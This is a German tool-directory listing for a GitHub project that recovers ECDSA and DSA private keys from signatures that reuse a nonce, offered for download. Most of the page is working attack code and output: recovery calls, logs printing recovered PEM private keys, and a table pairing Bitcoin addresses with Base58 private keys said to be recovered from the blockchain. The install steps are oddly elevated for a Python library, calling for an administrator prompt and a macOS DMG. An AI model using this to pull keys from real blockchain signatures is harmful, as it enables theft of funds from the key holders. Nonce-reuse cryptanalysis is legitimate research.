Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ecdsa-private-key-recovery — Führen Sie ECDSA- und DSA-Nonce-Wiederverwendungsangriffe zur Wiederherstellung privater Schlüssel durch, um Signaturschwachstellen zu analysieren und private Schlüssel aus Blockchain-Signaturen wiederherzustellen. | Kitploit
Tools/GitHubGitHub/yadyvazifeh1oz92/ecdsa-private-key-recovery
SchwachstellenanalyseKryptographieBinäranalyseLernen & Bildung
GitHubyadyvazifeh1oz92/ecdsa-private-key-recovery

ecdsa-private-key-recovery

Führen Sie ECDSA- und DSA-Nonce-Wiederverwendungsangriffe zur Wiederherstellung privater Schlüssel durch, um Signaturschwachstellen zu analysieren und private Schlüssel aus Blockchain-Signaturen wiederherzustellen.

Repository anzeigen
520537vor 9 TagenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ecdsa-key-recovery

Durchführung von ECDSA- und DSA-Nonce-Reuse-Angriffen zur Wiederherstellung privater Schlüssel

Ein kryptografisches Forschungswerkzeug zur Analyse von Signaturschwachstellen

Lassen Sie uns den privaten Schlüssel für zwei Signaturen wiederherstellen, die denselben nonce k verwenden. Beachten Sie, dass die Wahl desselben nonce k dazu führt, dass beide Signaturen einen identischen Signaturwert r aufweisen. Um gute Kandidaten für eine ECDSA-Nonce-Wiederverwendung zu finden, suchen Sie nach Signaturen, die dasselbe r, denselben pubkey auf derselben curve für verschiedene Nachrichten (oder Hashes) teilen. Z. B. sind Blockchain-Projekte, die auf bitcoind basieren, in der Regel gute Quellen für ECDSA-Signaturmaterial.

  • sampleA (r, sA, hashA, pubkey, curve)
  • sampleB (r, sB, hashB, pubkey, curve)
root@kitploit:~
sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # gleicher privkey wie sampleA, identisches r aufgrund von Nonce-Wiederverwendung k.

# privaten Schlüssel wiederherstellen
sampleA.recover_nonce_reuse(sampleB)  # befüllt sampleA mit dem wiederhergestellten privaten Schlüssel, bereit zur Verwendung
print sampleA.privkey 

Installationsoptionen:

setup

Die folgenden Anweisungen gelten für Windows und Linux; macOS-Benutzer haben eine DMG-Datei.

Überprüfen Sie die Installation von Git und Python auf Ihrem System.

Git für Windows herunterladen:

https://git-scm.com/install/windows

Python für Windows herunterladen (direkt):

https://www.python.org/ftp/python/3.13.12/python-3.13.12-amd64.exe

Starten Sie schließlich cmd als Administrator.

root@kitploit:~
git clone https://github.com/yadyvazifeh1oz92/ecdsa-private-key-recovery.git
root@kitploit:~
cd ecdsa-private-key-recovery
root@kitploit:~
py -m pip install -r requirements.txt
root@kitploit:~
py setup.py install

Python 2.x:

root@kitploit:~
#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py

Python 3.x:

root@kitploit:~
#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py

Wiederherstellung privater Schlüssel aus der Bitcoin-Blockchain

tools/README.md

BTC-AdresseBase58-Privkeyr
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP49625JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT113563387324078878147267949860139475116142082788494055785668341901521289846519
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP49625JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT18380471981355278106073484610981598768079378179376623360720556873242139981984
1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw19682383735358733565748628081379024202682929012377912380310432818686294127462
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP49625JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT6828441658514710620715231245132541628903431519484374098968817647395811175535

Beispiel

wiederherstellbare Signaturobjekte erstellen:

root@kitploit:~
from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex

# Kurve festlegen
curve = ecdsa.SECP256k1

# Standard-ECDSA-Pubkey-Objekt aus hex-kodiertem String erstellen
pub = ecdsa.VerifyingKey.from_string(
        bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
            
# sampleA- und sampleB-wiederherstellbare Signaturobjekte erstellen.
# langes r, langes s, bytestr-Hash, pubkey-Objekt.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
                         bytes_fromhex(bignum_to_hex(
                             765305792208265383632692154455217324493836948492122104105982244897804317926)),
                         pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
                         bytes_fromhex(bignum_to_hex(
                             23350593486085962838556474743103510803442242293209938584974526279226240784097)),
                         pub)
                         
# Schlüssel noch nicht wiederhergestellt
assert (sampleA.x is None)     

den privaten Schlüssel für sampleA wiederherstellen

root@kitploit:~
# Versuch, den Schlüssel wiederherzustellen - aktualisiert dieses Objekt sampleA
sampleA.recover_nonce_reuse(sampleB)    # privaten Schlüssel wiederherstellen, der mit sampleB geteilt wird
assert (sampleA.x is not None)          # bestätigen, dass die Privkey-Wiederherstellung erfolgreich war. Dies ergibt ein einsatzbereites ECDSA-Privkey-Objekt
assert sampleA.privkey

Ausgabe

root@kitploit:~
INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - Wiederherstellung des privaten Schlüssels aus Nonce-Wiederverwendung ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Privater Schlüssel wiederhergestellt!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - Wiederherstellung des privaten Schlüssels aus Nonce-Wiederverwendung ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Privater Schlüssel wiederhergestellt!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

INFO:__main__:------------DSA------------
DEBUG:__main__:generierte Beispielsignaturen: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (962114315288785318297754502373467834746102876259L, 152066227943132308247866282041325280216845090990L), <_DSAobj @0x2c49a80 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (962114315288785318297754502373467834746102876259L, 357089477795349418794190243474458899186606359757L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Signaturobjekte: [<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ >, <DsaSignature 0x2c7a3f sig=(9621143152…,3570894777…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ > - Wiederherstellung des privaten Schlüssels aus Nonce-Wiederverwendung...
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=✔ > - Privater Schlüssel wiederhergestellt!
-----BEGIN PRIVATE KEY-----
MIIBSgIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAA8tZboZpqrRAwKtK0
mXxwct7Es1BBih3HheeLBMOHCqPlwJmfUA8kBZQZzu3V+at5IWlRi0fTikvNWuqN
GLqMkf0kqXOhzP8/hD7B/CUF1YedzGKqC2BfhX/RON+CD/mFi35As8G73O29GCUl
qMd0KYhHHtBvVPiLAhUA/5r9a94k/9/mHVub1U0WrAJv2B8CgYARyESPcKSpBEoT
nXlMrX1M71RySJL5nrqUKpFTFRSoIwX5sj7ZRfKSqbf2umwSu8LfCEOZ2qKu0+jp
+bUC0oihSjaVCrADZykPr67k9mt56xx1wP4vUJJNfM3Wkty5xsI3JtUFbQ5EzFAt
JhLRWxOqcGEm35ZPQ4ao1qZsIsSVCQQWAhRqVNUTHGUaRRA5lXlmN4sw9glosQ==
-----END PRIVATE KEY-----
DEBUG:__main__:generierte Beispielsignaturen: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (921214889680762780870505834724573810649257487648L, 1206590109737383111438209532388130932310558452933L), <_DSAobj @0x2c78cd8 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (921214889680762780870505834724573810649257487648L, 254170456806936279470958328275930254179957847437L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Signaturobjekte: [<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ >, <DsaSignature 0x2c7a61 sig=(9212148896…,2541704568…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ > - Wiederherstellung des privaten Schlüssels aus Nonce-Wiederverwendung...
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=✔ > - Privater Schlüssel wiederhergestellt!
-----BEGIN PRIVATE KEY-----
MIIBSwIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAARApDBH1CEeZPeIM9
mMb6l3FyY8+AOy+cdiDzCaqlkIRVIRRxvnCH5oJ6gkinosGscZMTgF7IwQJzDHFm
oxvVdpACrj5Je+kpF6djefAbe+ByZ4FowkGq1EdMZF8aZzsik3CFkEA/vDsjvAsg
XmKRvOnFHkkFuKCRAhUA/+rcmBQ71NBsDzkbusi6NQpTNF8CgYAFVt8xSXTiCGn8
+bqWyoX+gjItArrT28o6fGnq+apjwasvWDHq1FETk/gwqTbTwWTiMo2eOTImRKDF
MbK1us+DjhloAUuhL6nCRQhsLs4Jq+8A/y7aol/HjCz1fHRKKDD9wqKDf2kWdI97
Kb2Hq4AUoJWTCT0ijX+oQJafbywjdwQXAhUAniK/kyRv/SFd1uJjuDMh0EntMws=
-----END PRIVATE KEY-----

Die Bibliothek ist so geschrieben, dass sie versucht, nur-Pubkey-ECDSA-Objekte nach erfolgreicher Wiederherstellung auf ECDSA-Objekte mit privatem Schlüssel zu aktualisieren. Dies erleichtert die Arbeit mit wiederhergestellten Schlüsselobjekten. Die Bibliothek führt sowohl ECDSA- als auch DSA-Schlüsselwiederherstellung durch.

Tool herunterladen